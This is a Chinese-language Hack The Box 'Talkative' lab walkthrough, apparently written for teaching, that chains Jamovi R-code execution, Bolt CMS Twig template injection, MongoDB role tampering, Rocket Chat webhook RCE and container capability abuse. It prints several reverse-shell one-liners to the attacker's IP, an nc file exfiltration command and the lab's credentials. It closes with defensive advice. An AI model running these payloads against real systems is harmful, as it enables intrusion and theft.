多种技巧打靶HTB_Talkative
字数 1379 2025-08-12 11:34:29
HTB_Talkative靶机渗透测试教学文档
一、信息收集阶段
1. 端口扫描
使用nmap进行初始扫描:
nmap -sV -p- 10.10.11.x
发现开放端口:
- 80: Apache HTTP服务
- 8080, 8081, 8082: Tornado (Python Web框架)
- 3000: Rocket Chat实例
- 其他服务
2. 目录爆破
使用wfuzz工具对80端口进行目录爆破:
wfuzz -c -w /path/to/wordlist -u http://talkative.htb/FUZZ
3. 框架识别
通过报错信息识别出Bolt CMS框架(PHP编写),使用feroxbuster进行更深入的目录扫描:
feroxbuster -u http://talkative.htb -x php
二、漏洞利用
1. Jamovi RCE漏洞利用
访问8080端口发现Jamovi框架,存在历史漏洞:
- 在"分析"选项卡中找到Rj Editor
- 使用R语言的system命令执行系统命令:
system("id", intern=TRUE)
- 反弹shell:
system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/443 0<&1'", intern=TRUE)
2. 权限提升与信息收集
- 获取交互式shell:
script /dev/null -c bash
- 检查网络连接:
cat /proc/net/tcp
-
查找敏感文件,在/root目录下发现bolt-administration.omv文件
-
使用nc传输文件到本地:
# 靶机上
cat bolt-administration.omv | nc YOUR_IP 4444
# 本地
nc -lvnp 4444 > bolt-administration.omv
- 分析文件发现用户凭据:
matt@talkative.htb:jeO09ufhWD<s
janit@talkative.htb:bZ89h}V<S_DA
3. Bolt CMS模板注入
- 使用获取的凭据登录Bolt CMS后台
- 进入"查看和编辑模板" > "base-2021" > "index.twig"
- 添加Twig模板注入代码:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- 清除缓存使修改生效
- 反弹shell:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/YOUR_IP/443 0<&1'")}}
三、横向移动
1. 内网探测
- 发现当前环境为Docker容器(存在.dockerenv文件)
- 使用SSH尝试连接内网主机:
ssh matt@172.17.0.1
2. MongoDB未授权访问
- 上传nmap进行内网扫描:
./nmap -p- 172.17.0.2
发现27017端口开放(MongoDB)
- 使用Chisel建立隧道:
# 攻击机
./chisel server -p 8000 --reverse
# 靶机
./chisel client YOUR_IP:8000 R:27017:172.17.0.2:27017
- 连接MongoDB:
mongo --host localhost --port 27017
- 枚举数据库:
show dbs
use meteor
show collections
- 修改Rocket Chat管理员权限:
db.users.update({"_id": "ZLMid6a4h5YEosPQi"}, {$set: {"roles": ["admin"]}})
3. Rocket Chat WebHook利用
- 以管理员身份登录Rocket Chat
- 创建新的WebHook集成
- 在"脚本"字段添加反弹shell代码:
require('child_process').exec('bash -c "bash -i >& /dev/tcp/YOUR_IP/443 0<&1"')
- 触发WebHook:
curl http://talkative.htb:3000/hooks/WEBHOOK_ID
四、权限提升与最终利用
1. 使用CDK工具
- 上传CDK工具到靶机
- 利用cap_dac_read_search能力读取root.txt:
./cdk run cap-dac-read-search /root/root.txt
2. 使用pwncat进行持久化
./pwncat-cs YOUR_IP:4444
五、总结与关键点
-
多服务暴露:靶机暴露了多个服务(Apache, Tornado, Rocket Chat, Jamovi),增加了攻击面
-
R语言命令注入:Jamovi的R编辑器允许直接执行系统命令,是初始突破点
-
凭证复用:在Docker容器中找到的凭证可用于SSH到主机
-
模板注入:Bolt CMS的模板编辑功能允许Twig模板注入导致RCE
-
内网横向移动:
- Docker容器环境
- MongoDB未授权访问
- 通过修改数据库提升Rocket Chat权限
- WebHook集成功能导致RCE
-
权限提升:
- 使用CDK工具利用Linux能力
- 读取敏感文件
-
工具链:
- nmap/wfuzz/feroxbuster:信息收集
- chisel:内网穿透
- mongo:数据库操作
- CDK:容器环境渗透
- pwncat:后渗透框架
六、防御建议
- 对Jamovi等分析软件实施严格的输入验证
- Bolt CMS应限制模板编辑权限
- MongoDB应配置认证
- Rocket Chat应限制WebHook的脚本执行能力
- 容器环境应实施适当的隔离和权限控制
- 定期更新所有服务组件